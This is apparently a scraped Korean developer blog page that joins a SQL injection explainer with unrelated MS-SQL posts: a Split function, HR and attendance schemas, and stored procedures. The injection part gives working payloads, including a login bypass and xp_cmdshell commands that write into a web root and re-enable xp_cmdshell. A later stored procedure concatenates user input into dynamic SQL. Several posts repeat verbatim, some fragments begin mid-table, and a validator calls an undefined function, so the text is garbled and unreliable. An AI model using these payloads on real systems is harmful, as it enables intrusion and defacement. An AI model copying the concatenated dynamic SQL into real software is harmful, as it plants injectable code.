입력창 : http://duck/index.asp?category=food' or 1=1--
처리되는 쿼리 : SELECT * FROM product WHERE PCategory='food' or 1=1--'
** 로그인경우
rs = select * from user_table where id='ID' and passwd='PWD'
if rs==1
//성공시
else
//실패시.
==> select * from user_table where id='admin' and passwd='' or 'x'='x';
: true, false, true => 결론적으로 true
** 대책
- 사용자의 모든입력값 및 url인자값에 대하여 특수문자 필터링(',<,>,;,--)
- 사용자의 모든 입력값, 크기 및 url인자값에 대하여 sql명령어 금지("/\;:Space--+등과 or, and, union, select, update, insert 등검사)
=> 해당변수의 특수문제 제거및 변형 Request.QueryString["ID"].ToString().Replace("'","\"");
//입력값일 경우 client 자바스크립트로 처리 실제
//한글포함여부
function is_han(val) { //한글이 하나라도 섞여 있으면 true를 반환
var judge = false;
for(var i = 0; i < val.length; i++) {
var chr = val.substr(i,1);
chr = escape(chr);
if (chr.charAt(1) == "u") {
chr = chr.substr(2, (chr.length - 1));
if((chr >= "3131" && chr <= "3163") || (chr >= "AC00" && chr <= "D7A3")) {
judge = true;
break;
}
}
else judge = false;
}
return judge;
}
//한글만 입력가능
function han_only(val) { //한글로만 되있으면 true를 반환 = 영어, 숫자, 특수문자가 있으면 false
var judge = false;
for(var i = 0; i < val.length; i++) {
var chr = val.substr(i,1);
chr = escape(chr);
if (chr.charAt(1) == "u") {
chr = chr.substr(2, (chr.length - 1));
if((chr >= "3131" && chr <= "3163") || (chr >= "AC00" && chr <= "D7A3")) judge = true;
}
else {
judge = false;
break;
}
}
return judge;
}
//영문만 입력확인
function eng_only(val) { //영어로만 되있으면 true를 반환 = 한글, 숫자, 특수문자가 있으면 false
var re = /^[A-Za-z]+$/g;
var rs = re.test(val);
return rs;
}
//이메일주소확인
function is_email(str) { //규정에 맞는 email 주소인지 체크
var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
return (!r1.test(str) && r2.test(str));
}
//숫자만 입력 확인
function is_number(str) {
var r = new RegExp("^[0-9]+$");
return r.test(str);
}
//전화번호 입력 확인
function is_phone(str) {
var r = new RegExp("^[0-9]{2,4}-[0-9]{2,4}-[0-9]{4,4}$");
return r.test(str);
}
//공백제거
function trim(str) { //trim()함수 구현
var newStr = str.replace(/^\s+/,"").replace(/\s+$/,"");
return newStr;
}
//엔터키처리
function enter_key(form) { //enter key를 눌렀을 때 submit
//처럼 사용한다
if (event.keyCode ==13) {
form.submit();
}
}
//날짜형식확인
function is_date(datein){ // 입력날짜의 기본값은 mm/dd/yy이고 다른 형식이면 arguments를 줘야한다.
var type = isDate.arguments[1];
var rval = false;
var indate=datein;
if (indate.indexOf("-")!=-1) var sdate = indate.split("-");
else var sdate = indate.split("/");
if(type=="yy/mm/dd") {
var newdate = Array(3);
newdate[0] = sdate[1];
newdate[1] = sdate[2];
newdate[2] = sdate[0];
indate = newdate.join("/");
sdate = indate.split("/");
}
var chkDate=new Date(Date.parse(indate))
var cmpDate=(chkDate.getMonth()+1)+"/"+(chkDate.getDate())+"/"+(chkDate.getYear())
var indate2=(Math.abs(sdate[0]))+"/"+(Math.abs(sdate[1]))+"/"+(Math.abs(sdate[2]))
if (indate2!=cmpDate) rval = false;
else {
if (cmpDate=="NaN/NaN/NaN") rval = false;
else rval = true;
}
return rval;
}
//주민번호 확인
function is_ssn(SSN1, SSN2) {
if (SSN1.length != 6 || SSN2.length != 7) return false;
var SSN = SSN1 + SSN2;
var strA, strB, strC, strD, strE, strF, strG, strH, strI, strJ, strK, strL, strM, strN, strO;
var nCalA, nCalB, nCalC;
strA = SSN.substr(0, 1);
strB = SSN.substr(1, 1);
strC = SSN.substr(2, 1);
strD = SSN.substr(3, 1);
strE = SSN.substr(4, 1);
strF = SSN.substr(5, 1);
strG = SSN.substr(6, 1);
strH = SSN.substr(7, 1);
strI = SSN.substr(8, 1);
strJ = SSN.substr(9, 1);
strK = SSN.substr(10, 1);
strL = SSN.substr(11, 1);
strM = SSN.substr(12, 1);
// CheckSum
strO = strA*2 + strB*3 + strC*4 + strD*5 + strE*6 + strF*7 + strG*8 + strH*9 + strI*2 + strJ*3 + strK*4 + strL*5;
nCalA = eval(strO);
nCalB = nCalA % 11;
nCalC = 11 - nCalB;
nCalC = nCalC % 10;
strv = '19';
strw = SSN.substr(0, 2);
strx = SSN.substr(2, 2);
stry = SSN.substr(4, 2);
// 날짜수 체크
strz = strv + strw;
if ((strz % 4 == 0) && (strz % 100 != 0) || (strz % 400 == 0)) yunyear = 29;
else yunyear = 28;
if ((strx <= 0) || (strx > 12)) return false;
if ((strx == 1 || strx == 3 || strx == 5 || strx == 7 || strx == 8 || strx == 10 || strx == 12) && (stry > 31 || stry <= 0)) return false;
if ((strx == 4 || strx == 6 || strx == 9 || strx == 11) && (stry > 30 || stry <= 0)) return false;
if (strx == 2 && (stry > yunyear || stry <= 0)) return false;
if (!((strG == 1) || (strG == 2) || (strG == 3) || (strG ==4))) return false;
if ( nCalC != strM ) return false;
return true;
}
//입력시 값 체크 onkeydown="handlerNum()", 최대값 제한 : MaxLength="5"
function handlerNum()
{
e = window.event; //윈도우의 event를 잡는것입니다. 그냥 써주심됩니당.
//숫자열 0 ~ 9 : 48 ~ 57, 키패드 0 ~ 9 : 96 ~ 105 ,8 : backspace, 46 : delete -->키코드값을 구분합니다.
if(e.keyCode >= 48 && e.keyCode <= 57 || e.keyCode >= 96 && e.keyCode <= 105 || e.keyCode == 8 || e.keyCode == 46)
{ //delete나 backspace는 입력이 되어야되니까..
if(e.keyCode == 48 || e.keyCode == 96)//0을 눌렀을경우
{
if(txtBox1.value == "" ) //아무것도 없는상태에서 0을 눌렀을경우
e.returnValue=false; //-->입력되지않는다.
else //다른숫자뒤에오는 0은
return; //-->입력시킨다.
}
else //0이 아닌숫자
return; //-->입력시킨다.
}
else //숫자가 아니면 넣을수 없다.
{
alert('숫자만 입력가능합니다');
e.returnValue=false;
}
}
** 동적 쿼리르 사용하지 않고 스토어 프로시저와 파라미터를 사용
private void Get_List(int ID)
{
try
{
string ConnectStr = ConnectionString();
SqlConnection Conn = new SqlConnection(ConnectStr);
SqlDataAdapter da = new SqlDataAdapter();
SqlCommand Cmd = new SqlCommand();
Cmd.Connection = Conn;
Cmd.CommandText = "test_GetJobsID"; //스토어 프로시저사용
Cmd.CommandType = CommandType.StoredProcedure;
Cmd.Parameters.Add("@ID",SqlDbType.Int,4); //파라미터사용
Cmd.Parameters["@ID"].Value = ID; //입력값 체크한후 처리
da.SelectCommand= Cmd;
DataSet ds = new DataSet();
da.Fill(ds,"test");
DataGrid1.DataSource = ds.Tables[0].DefaultView;
DataGrid1.DataBind();
}
catch(SqlException ex)
{
//SQL에러시 처리
}
catch(Exception exp)
{
//에러처리
}
finally
{
//연결종결
}
}
//디비 연결스트링
public string ConnectionString()
{
Base64Code bc = new Base64Code();
return bc.Base64Decode(ConfigurationSettings.AppSettings["ConnectionString"]);
}
// Web.config 설정 추가
- 사용자의 모든 입력값에 대하여 불필요한 에러 메시지 숨김
//Web.config 파일 설정
mode="RemoteOnly" defaultRedirect="/error/errorinfo.aspx">
- 웹어플리케이션이 사용하는 데이타베이스 유저의 권한을 제한
2. MS-SQL상에서 시스템 명령어 실행
** 방식
- xp_cmdshell 을 이용한 시스템 명령실행.
- 기타명령어(xp_startmail, xp_sendmail, xp_dirtree, xp_regdeletekey,
xp_regenumvalues, xp_regread, xp_regwrite, sp_makewebtask, sp_adduser, ...)
** 웹페이지에 악성코드 삽입 방식 실제
; exec master..xp_cmdshell 'ping 10.10.1.2'--
; exec master..xp_cmdshell 'echo >> c:\inetpub\wwwroot\index.html';
** 명령을 삭제하여도 복구후 해킹할수 있으므로 수시확인 필요
num=119' user master dbcc addextendedproc('xp_cmdshell','xplog70.dll')
** 대책
DB의 권한 축소 및 불필요한 sp 제거 : db_owner 권한의 제거 및 일반 user권한 부여
MS-SQL에서 SPLIT 함수 구현 by VINS
아래와 같이 테이블 형태로 구현하는 SPLIT 함수를 구현하면
많은 쿼리를 쉽게 처리를 할 수 있다.
예를 들어 웹사이트에서 회원가입을 할 때 "관심사항" 이라는 항목에
체크 박스가 있다고 가정하고 ...
이 체크 박스 항목은 이름이 전부 NAME="FAVI" 라고 하자
이런 항목이 10개가 있고 각각 VALUE는 1~10까지라고 가정한다.
이제 관심항목을 다음 페이지에서 체크를 할려고 하면
FAVI가 체크 되어 있는지 VALUE 값으로 체크 한다든지..
체크가 되어 있는 VALUE 값이 있을때 마다 DB에 업데이트를 한다든지
하는 로직을 간혹 볼수 있었다.
어차피 ASP 같은 언어에서 RESPONSE.WRITE REQUEST("FAVI") 를 출력하게 되면
1,3,4,5,8 이런식으로 컴마를 구분값으로 데이터를 출력하고 데이터베이스에도
이런 형식으로 입력이 된다.
이걸 한번에 보내고 한번에 처리해 보자.
우선 아래 함수를 만든다. (로직은 각자 분석)
GO
--- 이제 사용법이다 ---
Select descName from dbo.Split('1,3,4,5,6,7')
--- 결과 ---
descName
-----------------
1
3
4
5
6
7
이런 형태로 테이블 형식의 출력이 이루어진다.
로직을 유심히 본 사람들은 알겠지만. cd 라는 항목도 만들어 지는데
이는 하나 하나 짜를때 마다 그 고유 키 값을 지정해 둔 것이다.
(구분자는 컴마로 고정하였음)
Select cd,descName from dbo.Split('1,3,4,5,6,7')
라고 출력하게 되면 각 항목의 키 값인 부분도 출력이 된다.
이를 이용하면 게시물의 순서 변경이나 폼 항목에서 listbox (멀티셀렉트), checkbox 등
다양한 컨트롤을 쉽게 다룰수 있다.
사용처를 잘 모르겠다라면 아마 sql query 용법을 잘 모르는 분이거나 머리가 안 좋은 ..(농담)
insert ... select 를 할수도 있고
update join을 할 수도 있다.
나머지는 여러분게 맡긴다.
관련 항목------
ORACLE (SPLIT) 버젼
링 크
http://mcpicdtl.blogspot.com/2008/03/oracle-split-by-vins.html
많은 쿼리를 쉽게 처리를 할 수 있다.
예를 들어 웹사이트에서 회원가입을 할 때 "관심사항" 이라는 항목에
체크 박스가 있다고 가정하고 ...
이 체크 박스 항목은 이름이 전부 NAME="FAVI" 라고 하자
이런 항목이 10개가 있고 각각 VALUE는 1~10까지라고 가정한다.
이제 관심항목을 다음 페이지에서 체크를 할려고 하면
FAVI가 체크 되어 있는지 VALUE 값으로 체크 한다든지..
체크가 되어 있는 VALUE 값이 있을때 마다 DB에 업데이트를 한다든지
하는 로직을 간혹 볼수 있었다.
어차피 ASP 같은 언어에서 RESPONSE.WRITE REQUEST("FAVI") 를 출력하게 되면
1,3,4,5,8 이런식으로 컴마를 구분값으로 데이터를 출력하고 데이터베이스에도
이런 형식으로 입력이 된다.
이걸 한번에 보내고 한번에 처리해 보자.
우선 아래 함수를 만든다. (로직은 각자 분석)
/*
작성자 : 한영민
작성일 : 2004-03-16
설 명 : Split 함수 구현
*/
CREATE Function dbo.Split
(
@strdelimite NVarchar(4000)
)
Returns @tableVar Table
(cd int identity(0,1), descName varchar(100))
AS
Begin
Declare @StartPoint INT, @EndPoint INT
SET @StartPoint = 0
SET @EndPoint = 0
While(CHARINDEX(',',@strdelimite) > 0) Begin
SET @EndPoint = CHARINDEX(',',@strdelimite)
--이 부분에서 테이블 변수에 Insert
Insert @tableVar(descName) Values( RTrim(LTrim(Substring(@strdelimite, @StartPoint, @EndPoint))) )
SET @StartPoint = @EndPoint + 1
SET @strdelimite = Substring(@strdelimite, @StartPoint, Len(@strdelimite))
SET @StartPoint = 0
End
IF Len(@strdelimite) > 0 Begin
Insert @tableVar(descName) Values (RTrim(LTrim(@strdelimite)))
End
Return
End
GO
GO
--- 이제 사용법이다 ---
Select descName from dbo.Split('1,3,4,5,6,7')
--- 결과 ---
descName
-----------------
1
3
4
5
6
7
이런 형태로 테이블 형식의 출력이 이루어진다.
로직을 유심히 본 사람들은 알겠지만. cd 라는 항목도 만들어 지는데
이는 하나 하나 짜를때 마다 그 고유 키 값을 지정해 둔 것이다.
(구분자는 컴마로 고정하였음)
Select cd,descName from dbo.Split('1,3,4,5,6,7')
라고 출력하게 되면 각 항목의 키 값인 부분도 출력이 된다.
이를 이용하면 게시물의 순서 변경이나 폼 항목에서 listbox (멀티셀렉트), checkbox 등
다양한 컨트롤을 쉽게 다룰수 있다.
사용처를 잘 모르겠다라면 아마 sql query 용법을 잘 모르는 분이거나 머리가 안 좋은 ..(농담)
insert ... select 를 할수도 있고
update join을 할 수도 있다.
나머지는 여러분게 맡긴다.
관련 항목------
ORACLE (SPLIT) 버젼
링 크
http://mcpicdtl.blogspot.com/2008/03/oracle-split-by-vins.html
초간단 인사정보 Sample Schema MS-SQL
CREATE TABLE CodeDept (
DeptCD int Primary Key identity(1001,10) ,
DeptDesc nvarchar (30) NULL ,
)
GO
CREATE TABLE CodeGroup (
groupCD int Primary Key identity(10001,10) ,
groupName nvarchar (20) NOT NULL ,
deptCD int Foreign Key References CodeDept(DeptCD) ,
Point int DEFAULT (0)
)
GO
CREATE TABLE CodeStyle (
styleCD int IDENTITY (0, 1) Primary key NOT NULL ,
styleName nvarchar(30) not null
)
GO
CREATE TABLE CodeClass(
classCD int identity(0,1) Primary key,
className NVarchar(30) not null
)
CREATE TABLE CodeTitle(
titleCD int identity(0,1) Primary Key,
titleName NVarchar(30) not null
)
CREATE TABLE Employee (
UserCN int Primary key identity(100001,1) NOT NULL,
UserCode nvarchar(24) DEFAULT ('00000000'),
UserID nvarchar (12) NULL,
Pwd nvarchar (30) DEFAULT ('netmarble'),
UserName nvarchar (20) NOT NULL,
Address NVarchar(300) NULL,
PhoneNumber Varchar(15) null,
MobileNumber Varchar(15) null,
Email NVarchar(50) null,
MobileMail NVarchar(50) null,
Messager NVarchar(50) DEFAULT (''),
groupCD int Foreign Key References CodeGroup(groupCD) ,
styleCD int Foreign Key References CodeStyle(styleCD) ,
classCD int Foreign Key References CodeClass(classCD) ,
titleCD int Foreign Key References CodeTitle(titleCD) ,
JoinDate smalldatetime DEFAULT (getdate()),
Regdate smalldatetime DEFAULT (getdate()),
WorkOut tinyint default(0),
WorkOutDate tinyint null
)
GO
DeptCD int Primary Key identity(1001,10) ,
DeptDesc nvarchar (30) NULL ,
)
GO
CREATE TABLE CodeGroup (
groupCD int Primary Key identity(10001,10) ,
groupName nvarchar (20) NOT NULL ,
deptCD int Foreign Key References CodeDept(DeptCD) ,
Point int DEFAULT (0)
)
GO
CREATE TABLE CodeStyle (
styleCD int IDENTITY (0, 1) Primary key NOT NULL ,
styleName nvarchar(30) not null
)
GO
CREATE TABLE CodeClass(
classCD int identity(0,1) Primary key,
className NVarchar(30) not null
)
CREATE TABLE CodeTitle(
titleCD int identity(0,1) Primary Key,
titleName NVarchar(30) not null
)
CREATE TABLE Employee (
UserCN int Primary key identity(100001,1) NOT NULL,
UserCode nvarchar(24) DEFAULT ('00000000'),
UserID nvarchar (12) NULL,
Pwd nvarchar (30) DEFAULT ('netmarble'),
UserName nvarchar (20) NOT NULL,
Address NVarchar(300) NULL,
PhoneNumber Varchar(15) null,
MobileNumber Varchar(15) null,
Email NVarchar(50) null,
MobileMail NVarchar(50) null,
Messager NVarchar(50) DEFAULT (''),
groupCD int Foreign Key References CodeGroup(groupCD) ,
styleCD int Foreign Key References CodeStyle(styleCD) ,
classCD int Foreign Key References CodeClass(classCD) ,
titleCD int Foreign Key References CodeTitle(titleCD) ,
JoinDate smalldatetime DEFAULT (getdate()),
Regdate smalldatetime DEFAULT (getdate()),
WorkOut tinyint default(0),
WorkOutDate tinyint null
)
GO
Cursor and While MS-SQL
Select * from WH_WhoDateTime
WH_Get_WorkerSetting_sp '2006-09-27', '2006-10-01'
/*
작성자 : ByVINS
작성일 : 2004-03-17
설 명 : 별정근무자 세팅 정도 가져 오기
*/
ALTER Procedure dbo.WH_Get_WorkerSetting_sp
@StartDate Varchar(10)
, @LastDate Varchar(10)
AS
Select WDT_CD, C.CT_Desc, WDT_setDate, groupName, E.UserName
from dbo.WH_WhoDateTime AS WDT
INNER JOIN Employee AS E ON WDT.WDT_UserCN = E.UserCN
INNER JOIN CodeGroup AS G ON E.groupCD = G.groupCD
INNER JOIN CompanyTimer As C ON C.CT_CD = WDT.WDT_CT_CD
Where WDT_setDate >= @StartDate And WDT_setDate <= @LastDate
Order by WDT_setDate Desc
GO
/*
작성자 : ByVINS
작성일 : 2004-03-17
설 명 : 별정근무자 삭제
*/
CREATE Procedure dbo.WH_del_WorkerSetting_sp
@WDT_CD int
AS
Delete from dbo.WH_WhoDateTime Where WDT_CD = @WDT_CD
If @@Error <> 0 Goto Err
Return 0
Err:
Return -1
GO
/*
작성자 : ByVINS
작성일 : 2004-03-16
설 명 : 별정근무자 등록 세팅
*/
ALTER Procedure dbo.WH_NotGenelar_WorkerSetting_sp
@UserCNs NVarchar(4000)
, @setDates NVarchar(4000)
, @WDT_CT_CD NVarchar(3)
AS
Declare @IsHoliday INT
DECLARE @DescName NVarchar(100), @strSQL NVarchar(4000)
SET @IsHoliday = 1
DECLARE CUR_Worker CURSOR
FOR
--테이블 변수를 이용한 Split함수 구현후 테이블 형식 리턴
Select DescName from dbo.Split(@setDates)
OPEN CUR_Worker
--첫 로우 FETCH
FETCH NEXT FROM CUR_Worker INTO @DescName
WHILE @@FETCH_STATUS = 0
BEGIN
SET @strSQL = '
Insert WH_WhoDateTime(WDT_setDate, WDT_UserCN, WDT_GroupCD, WDT_CT_CD)
Select '''+ @DescName +''', UserCN, groupCD, '+@WDT_CT_CD+' from Employee
Where UserCN IN (Select DescName from dbo.Split(''' + @UserCNs + ''')) '
Execute Sp_ExecuteSQL @strSQL
IF @@Error <> 0 Goto Err
FETCH NEXT FROM CUR_Worker INTO @DescName
END
CLOSE CUR_Worker
DEALLOCATE CUR_Worker
Return 0
Err:
Return -1
GO
Declare @WDT_CT_CD Varchar(10)
SET @WDT_CT_CD = '1245'
Declare @DescName Varchar(10)
SET @DescName = '2006-09-29'
Declare @UserCNs Varchar(4000)
SET @UserCNs = '100001,100003,100004,100005'
Declare @strSQL NVarchar(4000)
SET @strSQL = '
Insert WH_WhoDateTime(WDT_setDate, WDT_UserCN, WDT_GroupCD, WDT_CT_CD)
Select '''+ @DescName +''', UserCN, groupCD, '+@WDT_CT_CD+' from Employee
Where UserCN IN (Select DescName from dbo.Split(''' + @UserCNs + ''')) '
Select @strSQL
execute sp_executesql @strSQL
Select * from WH_WhoDateTime
Insert WH_WhoDateTime(WDT_setDate, WDT_UserCN, WDT_GroupCD, WDT_CT_CD)
Select '2006-09-30', UserCN, groupCD, 1245 from Employee
Where UserCN IN (Select DescName from dbo.Split('100001,100'))
WH_Get_WorkerSetting_sp '2006-09-27', '2006-10-01'
/*
작성자 : ByVINS
작성일 : 2004-03-17
설 명 : 별정근무자 세팅 정도 가져 오기
*/
ALTER Procedure dbo.WH_Get_WorkerSetting_sp
@StartDate Varchar(10)
, @LastDate Varchar(10)
AS
Select WDT_CD, C.CT_Desc, WDT_setDate, groupName, E.UserName
from dbo.WH_WhoDateTime AS WDT
INNER JOIN Employee AS E ON WDT.WDT_UserCN = E.UserCN
INNER JOIN CodeGroup AS G ON E.groupCD = G.groupCD
INNER JOIN CompanyTimer As C ON C.CT_CD = WDT.WDT_CT_CD
Where WDT_setDate >= @StartDate And WDT_setDate <= @LastDate
Order by WDT_setDate Desc
GO
/*
작성자 : ByVINS
작성일 : 2004-03-17
설 명 : 별정근무자 삭제
*/
CREATE Procedure dbo.WH_del_WorkerSetting_sp
@WDT_CD int
AS
Delete from dbo.WH_WhoDateTime Where WDT_CD = @WDT_CD
If @@Error <> 0 Goto Err
Return 0
Err:
Return -1
GO
/*
작성자 : ByVINS
작성일 : 2004-03-16
설 명 : 별정근무자 등록 세팅
*/
ALTER Procedure dbo.WH_NotGenelar_WorkerSetting_sp
@UserCNs NVarchar(4000)
, @setDates NVarchar(4000)
, @WDT_CT_CD NVarchar(3)
AS
Declare @IsHoliday INT
DECLARE @DescName NVarchar(100), @strSQL NVarchar(4000)
SET @IsHoliday = 1
DECLARE CUR_Worker CURSOR
FOR
--테이블 변수를 이용한 Split함수 구현후 테이블 형식 리턴
Select DescName from dbo.Split(@setDates)
OPEN CUR_Worker
--첫 로우 FETCH
FETCH NEXT FROM CUR_Worker INTO @DescName
WHILE @@FETCH_STATUS = 0
BEGIN
SET @strSQL = '
Insert WH_WhoDateTime(WDT_setDate, WDT_UserCN, WDT_GroupCD, WDT_CT_CD)
Select '''+ @DescName +''', UserCN, groupCD, '+@WDT_CT_CD+' from Employee
Where UserCN IN (Select DescName from dbo.Split(''' + @UserCNs + ''')) '
Execute Sp_ExecuteSQL @strSQL
IF @@Error <> 0 Goto Err
FETCH NEXT FROM CUR_Worker INTO @DescName
END
CLOSE CUR_Worker
DEALLOCATE CUR_Worker
Return 0
Err:
Return -1
GO
Declare @WDT_CT_CD Varchar(10)
SET @WDT_CT_CD = '1245'
Declare @DescName Varchar(10)
SET @DescName = '2006-09-29'
Declare @UserCNs Varchar(4000)
SET @UserCNs = '100001,100003,100004,100005'
Declare @strSQL NVarchar(4000)
SET @strSQL = '
Insert WH_WhoDateTime(WDT_setDate, WDT_UserCN, WDT_GroupCD, WDT_CT_CD)
Select '''+ @DescName +''', UserCN, groupCD, '+@WDT_CT_CD+' from Employee
Where UserCN IN (Select DescName from dbo.Split(''' + @UserCNs + ''')) '
Select @strSQL
execute sp_executesql @strSQL
Select * from WH_WhoDateTime
Insert WH_WhoDateTime(WDT_setDate, WDT_UserCN, WDT_GroupCD, WDT_CT_CD)
Select '2006-09-30', UserCN, groupCD, 1245 from Employee
Where UserCN IN (Select DescName from dbo.Split('100001,100'))
초간단 근태관리 Sample Schema MS-SQL
CREATE TABLE [CompanyDiary] (
[CD_CD] [int] IDENTITY (1, 1) Primary Key ,
[CD_Year] [smallint] NULL DEFAULT(datepart(year,getdate())),
[CD_Month] [tinyint] NULL DEFAULT(datepart(month,getdate())),
[CD_Day] [tinyint] NULL DEFAULT(datepart(day,getdate())),
[CD_Desc] [nvarchar] (30) NULL ,
[CD_IsActive] [tinyint] NULL DEFAULT (1),
[RegDate] [datetime] NULL DEFAULT (getdate())
)
GO
CREATE TABLE [CompanyTimer] (
[CT_CD] [int] Primary Key identity(1,1) ,
[CT_Desc] [nvarchar](100) NULL ,
[CT_ComeInTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeInMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeOutTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeOutMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeLateTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeLateMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeAbsenceTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeAbsenceMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeCheckOutTime] [tinyint] NULL DEFAULT (0),
[CT_ComeCheckOutMinute] [tinyint] NULL DEFAULT (0),
[CT_GroupCD] [int] NULL DEFAULT (0),
[CT_IsActive] [tinyint] NULL DEFAULT (1)
)
GO
CREATE TABLE [CompanyTimeState] (
[TS_CD] [int] IDENTITY(1, 1) Primary Key,
[TS_Name] [nvarchar] (10) NOT NULL ,
[TS_Desc] [nvarchar] (100) DEFAULT (''),
[TS_IsActive] [tinyint] NULL DEFAULT (1),
)
GO
CREATE TABLE [WH_Schedule_Log] (
[WSL_CD] [int] Primary Key IDENTITY (1, 1) NOT NULL ,
[WSL_ScheduleName] nvarchar(100) NOT NULL ,
[WSL_CT_CD] [int] NULL DEFAULT (0),
[WSL_RunTime] [int] NULL DEFAULT (0),
[WSL_RunMinite] [int] NULL DEFAULT (0),
[WSL_IsBool] [bit] NULL DEFAULT (0),
[RegDate] [datetime] NULL DEFAULT (getdate())
)
GO
CREATE TABLE [WH_WhoDateTime] (
[WDT_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WDT_StartDate] [char] (10) DEFAULT (convert(varchar(10),getdate(),21)),
[WDT_LastDate] [char] (10) DEFAULT (convert(varchar(10),getdate(),21)),
[WDT_UserID] [nvarchar] (12) NOT NULL ,
[WDT_GroupCD] [int] NULL ,
[WDT_CT_CD] [int] NULL ,
[WDT_LogDate] [datetime] NULL DEFAULT (getdate())
)
GO
CREATE TABLE [WH_WorkStyle] (
[WS_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WS_Name] [nvarchar] (20) NOT NULL ,
[WS_Desc] [nvarchar] (100) DEFAULT (''),
CONSTRAINT [PK_WH_WorkStyle] PRIMARY KEY CLUSTERED
(
[WS_CD]
) ON [PRIMARY]
) ON [PRIMARY]
GO
CREATE TABLE [WH_WorkCode] (
[WC_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WC_Name] [nvarchar] (20) NOT NULL ,
[WC_Desc] [nvarchar] (100) DEFAULT (''),
[WC_IsActive] [tinyint] NULL DEFAULT (1),
[WS_CD] [int] NULL DEFAULT (0),
[WC_CalculatePoint] [float] NULL DEFAULT (0.0),
[WC_IsReportView] [tinyint] NULL DEFAULT (0),
[IsDualInsert] [tinyint] NULL DEFAULT (0),
CONSTRAINT [PK_WH_WorkCode] PRIMARY KEY CLUSTERED
(
[WC_CD]
) ON [PRIMARY] ,
CONSTRAINT [FK_WH_WorkCode_WH_WorkStyle] FOREIGN KEY
(
[WS_CD]
) REFERENCES [WH_WorkStyle] (
[WS_CD]
)
) ON [PRIMARY]
GO
CREATE TABLE [WH_WorkHistory] (
[WWH_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WWH_UserID] [nvarchar] (12) NOT NULL ,
[WWH_ed_CD] [int] NULL DEFAULT (0),
[WWH_et_CD] [int] NULL DEFAULT (0),
[WWH_CheckYear] [smallint] NULL DEFAULT (datepart(year,getdate())),
[WWH_CheckMonth] [tinyint] NULL DEFAULT (datepart(month,getdate())),
[WWH_CheckDay] [tinyint] NULL DEFAULT (datepart(day,getdate())),
[WWH_WC_CD] [int] NULL DEFAULT (0),
[WWH_Remark] [nvarchar] (200) NULL DEFAULT (''),
[WWH_TS_CD] [int] NULL DEFAULT (1),
[WWH_RealWorkTime] [smalldatetime] NULL DEFAULT (getdate()),
[WWH_LogTime] [datetime] NULL DEFAULT (getdate()),
[WWH_ed_CD2] [int] NULL DEFAULT (0),
[WWH_et_CD2] [int] NULL DEFAULT (0),
CONSTRAINT [PK_WH_WorkHistory] PRIMARY KEY CLUSTERED
(
[WWH_CD]
) ON [PRIMARY]
) ON [PRIMARY]
GO
[CD_CD] [int] IDENTITY (1, 1) Primary Key ,
[CD_Year] [smallint] NULL DEFAULT(datepart(year,getdate())),
[CD_Month] [tinyint] NULL DEFAULT(datepart(month,getdate())),
[CD_Day] [tinyint] NULL DEFAULT(datepart(day,getdate())),
[CD_Desc] [nvarchar] (30) NULL ,
[CD_IsActive] [tinyint] NULL DEFAULT (1),
[RegDate] [datetime] NULL DEFAULT (getdate())
)
GO
CREATE TABLE [CompanyTimer] (
[CT_CD] [int] Primary Key identity(1,1) ,
[CT_Desc] [nvarchar](100) NULL ,
[CT_ComeInTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeInMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeOutTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeOutMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeLateTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeLateMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeAbsenceTime] [tinyint] NULL DEFAULT (datepart(hour,getdate())),
[CT_ComeAbsenceMinute] [tinyint] NULL DEFAULT (datepart(minute,getdate())),
[CT_ComeCheckOutTime] [tinyint] NULL DEFAULT (0),
[CT_ComeCheckOutMinute] [tinyint] NULL DEFAULT (0),
[CT_GroupCD] [int] NULL DEFAULT (0),
[CT_IsActive] [tinyint] NULL DEFAULT (1)
)
GO
CREATE TABLE [CompanyTimeState] (
[TS_CD] [int] IDENTITY(1, 1) Primary Key,
[TS_Name] [nvarchar] (10) NOT NULL ,
[TS_Desc] [nvarchar] (100) DEFAULT (''),
[TS_IsActive] [tinyint] NULL DEFAULT (1),
)
GO
CREATE TABLE [WH_Schedule_Log] (
[WSL_CD] [int] Primary Key IDENTITY (1, 1) NOT NULL ,
[WSL_ScheduleName] nvarchar(100) NOT NULL ,
[WSL_CT_CD] [int] NULL DEFAULT (0),
[WSL_RunTime] [int] NULL DEFAULT (0),
[WSL_RunMinite] [int] NULL DEFAULT (0),
[WSL_IsBool] [bit] NULL DEFAULT (0),
[RegDate] [datetime] NULL DEFAULT (getdate())
)
GO
CREATE TABLE [WH_WhoDateTime] (
[WDT_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WDT_StartDate] [char] (10) DEFAULT (convert(varchar(10),getdate(),21)),
[WDT_LastDate] [char] (10) DEFAULT (convert(varchar(10),getdate(),21)),
[WDT_UserID] [nvarchar] (12) NOT NULL ,
[WDT_GroupCD] [int] NULL ,
[WDT_CT_CD] [int] NULL ,
[WDT_LogDate] [datetime] NULL DEFAULT (getdate())
)
GO
CREATE TABLE [WH_WorkStyle] (
[WS_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WS_Name] [nvarchar] (20) NOT NULL ,
[WS_Desc] [nvarchar] (100) DEFAULT (''),
CONSTRAINT [PK_WH_WorkStyle] PRIMARY KEY CLUSTERED
(
[WS_CD]
) ON [PRIMARY]
) ON [PRIMARY]
GO
